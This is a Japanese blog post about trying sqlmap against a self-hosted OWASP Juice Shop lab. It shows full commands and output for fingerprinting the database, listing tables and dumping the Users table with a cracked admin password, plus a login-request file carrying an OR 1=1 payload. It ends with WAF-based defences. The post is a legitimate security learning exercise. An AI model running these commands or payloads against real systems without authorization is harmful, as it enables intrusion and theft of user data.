💀

SQLインジェクションに対抗するためにsqlmapを使ってSQLインジェクションを体験してみた

2023/07/27に公開

こんにちは。
ご機嫌いかがでしょうか。
"No human labor is no human error" が大好きな吉井 亮です。

zenn に引っ越しました。引っ越す前のブログはこちらです。

SQL インジェクションに興味がひかれることがあり、いろいろと調べていくうちに sqlmap というツールを見つけました。
sqlmap はオープンソースに侵入テストツールで SQL インジェクションに特化しています。

OWASP Juice Shop

sqlmap を試すために脆弱性をあえて持ったサイトを構築します。
OWASP の説明には「probably the most modern and sophisticated insecure web application!(機械翻訳: おそらく最も最新で洗練された安全でない Web アプリケーション)」と書いてあります。
Juice Shop であれば SQL インジェクションの勉強が存分にできるはずです。

Juice Shop インストール

Docker Image が用意されています。さくっとインストールできました。
今回はセキュリティグループを空けない EC2 上に構築しています。上リンクにインストールコマンドが記述されているのでその通りに実施するだけです。

sudo yum update -y
sudo yum install -y docker
sudo systemctl enable docker
sudo systemctl start docker
sudo docker pull bkimminich/juice-shop
sudo docker run -d -p 80:3000 bkimminich/juice-shop

sqlmap

sqlmap をダウンロードします。Zip Ball、Tar Ball、Git Clone か何れか都合の良い手段でダウンロードしてください。
本エントリでは Juice Shop をインストールした同じ EC2 インスタンス上にダウンロードして実行しています。

sqlmap にも明記されている通り、サイト所有者の合意無しに sqlmap を使ってペネトレーションテストをすることは止めましょう。もしそうしてしまった場合、全ての責任は実行した人間にあります。あくまで自分が管理しているサイトのみにしましょう。

Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

テストしてみた

DBMS を探りあてる

それでは、sqlmap を試してみます。
各オプションの意味は -hh を付けるか usage をご覧ください。

-u はターゲット URL です。Juice Shop は /rest/products/search が商品検索機能となっています。ここに脆弱性があります。(ここ以外にもありますが分かりやすいので)
--banner を付けてサイトが使用している DBMS とバージョンを探ってみます。
--random-agent は User-Agent をランダムで生成します。
--batch は対話型オプションを全てデフォルトで進めてくれます。sqlmap は実行途中に何度かオプションを聞かれます。入力を省略したい際に使います。

$ python3 sqlmap.py -u http://localhost/rest/products/search?q= --random-agent --batch --banner
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.7.2#dev}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[01:53:57] [INFO] the back-end DBMS is SQLite
[01:53:57] [INFO] fetching banner
[01:53:57] [INFO] resumed: 3.41.1
back-end DBMS: SQLite
banner: '3.41.1'

SQLite 3.41.1 ということが判明しました。
Juice Shop のサイトにも書いてあります。あっさりと DBMS がバレてしまいました。
img

データベースリストを取得

--dbs を付けるとデータベースリストが取得可能です。

$ python3 sqlmap.py -u http://localhost/rest/products/search?q= --random-agent --batch --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.7.2#dev}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[01:56:02] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[01:56:02] [WARNING] on SQLite it is not possible to enumerate databases (use only '--tables')

おっと、どうやら SQLite は --dbs に対応していないようです。
use only '--tables' ということなのでその通りやってみます。

テーブルリストを取得

--tables を付けてテーブルリストを取得します。
サイトへ接続したユーザー(アプリケーション内で DBMS 接続に使用しているユーザー)が取得できるテーブルを表示するオプションのようです。

$ python3 sqlmap.py -u http://localhost/rest/products/search?q= --random-agent --batch --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.7.2#dev}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[01:56:13] [INFO] fetching tables for database: 'SQLite_masterdb'

[20 tables]
+-------------------+
| Addresses         |
| BasketItems       |
| Baskets           |
| Captchas          |
| Cards             |
| Challenges        |
| Complaints        |
| Deliveries        |
| Feedbacks         |
| ImageCaptchas     |
| Memories          |
| PrivacyRequests   |
| Products          |
| Quantities        |
| Recycles          |
| SecurityAnswers   |
| SecurityQuestions |
| Users             |
| Wallets           |
| sqlite_sequence   |
+-------------------+

なんとテーブルリストが表示されました。これは由々しき事態です。
Users はサイト会員でしょう。私が攻撃者なら Wallets は興味がわくテーブルです。

Usersテーブルのデータを取得

テーブルリストを手に入れました。それでは、Users テーブルのデータを表示させてみましょう。
--dump でテーブルデータを表示させます。
-T でテーブルの指定、-D がデータベースの指定です。
--threads は sqlmap のスレッド数です。1 だと遅いのでお好みで増やしてください。

$ python3 sqlmap.py -u http://localhost/rest/products/search?q= --random-agent --batch --dump -D SQLite_masterdb -T Users --threads 5
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.7.2#dev}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[02:20:32] [INFO] using hash method 'md5_generic_passwd'
[02:20:32] [INFO] using hash method 'sha256_generic_passwd'
[02:20:32] [INFO] resuming password 'admin123' for hash '0192023a7bbd73250516f069df18b500'

Table: Users
[20 entries]
+----+------------+----------------------------+----------+---------------------------------------------+------------+--------------------------------+--------------------------------+--------------------------------+----------------------------------+------------------------------------------------------------------+-------------+-----------------------------------------------+
| id | role       | email                      | isActive | password                                    | username   | createdAt                      | deletedAt                      | updatedAt                      | totpSecret                       | deluxeToken                                                      | lastLoginIp | profileImage                                  |
+----+------------+----------------------------+----------+---------------------------------------------+------------+--------------------------------+--------------------------------+--------------------------------+----------------------------------+------------------------------------------------------------------+-------------+-----------------------------------------------+
| 9  | admin      | J12934@juice-sh.op         | 1        | 0192023a7bbd73250516f069df18b500 (admin123) | <blank>    | 2023-07-27 01:42:10.212 +00:00 | NULL                           | 2023-07-27 01:42:10.212 +00:00 | <blank>                          | <blank>                                                          | <blank>     | assets/public/images/uploads/defaultAdmin.png |

Users テーブルが丸見えです。(実行例では省略していますが全ユーザー見えます)
親切なことにハッシュ化されたパスワードも辞書攻撃で解析しています。
これは個人的な予想ですが admin ロールを持ったユーザー J12934@juice-sh.op のパスワードは admin123 なんだろうなきっと。

他に

今回使わなかったオプションのなかに気になるものがあるので紹介します。

リクエストをテキストファイルからの読み出し

-r を付けるとリクエストをテキストファイルから読み出して実行可能です。
実際のペネトレーションテストではリクエストヘッダーや POST Body を細かく指定する場面があると思います。コマンドの長いオプションを付けるよりも便利です。使い回しもできますね。

例えば request-post.txt を作っておいて -r で指定するような使い方です。

request-post.txt
POST /rest/user/login HTTP/1.1
Host: yoursitefqdn:443
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Content-Type: application/json
Cookie: language=en; hoge=usedcar
Referer: https://yoursitefqdn/
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36

{email: "hoge' OR 1=1;", password: "abc"}
$ sqlmap -r request-post.txt

レベルとリスク

sqlmap で実行するレベルとリスクをカスタマイズします。

--level
レベルは5段階、デフォルトは1です。
レベルを上げるほど多数のペイロードどプレフィックス/サフィックスの組み合わせが試されます。
また、レベル2からは Cookie が、レベル3からは User-Agent と Referer がテストに追加されます。

--risk
リスクは3段階、デフォルトは1です。
レベルを上げるほど実行時にリスクが上がっていきます。
レベル2では time-base SQL インジェクションが、レベル3ではOR-base SQL インジェクションテストが実行されます。
これはテスト実行者が望まない SQL、Update ステートメントへのテストでデータが破壊されるなどから回避するためのオプションです。

SQL インジェクション対策

ついでというわけではありませんが、SQL インジェクションは今でも上位3に入るくらいに人気のある(?)攻撃です。
ただ、対策方法もありますので、しっかり対策していきたいものです。

sqlmap によるペネトレーションテストは AWS WAF で防げました。
Core rule set (CRS) managed rule group と SQL database managed rule group を導入しましょう。

このあたりは別のエントリで解説しています。
Web アプリケーションを攻撃から守る方法を調べてみた

こちらも大変参考になるので開発者の方は参照ください。
安全なウェブサイトの作り方 - 1.1 SQLインジェクション

まとめ

sqlmap を SQL インジェクションのペネトレーションテストを試してみました。
SQL インジェクションの対策をしていないサイトはとても簡単に侵入されてしまう可能性があるということが理解できました。
コマンド数回実行するだけで Admin のパスワードをゲットしました。今回はユーザーテーブルでしたがテーブル名さえ判明してしまえばあらゆるデータを漏洩します。対策の重要性を改めて感じました。

参考

OWASP Juice Shop
sqlmap
sqlmap Cheat Sheat
6 sqlmap cheat sheets to help you find SQL injections
安全なウェブサイトの作り方

Discussion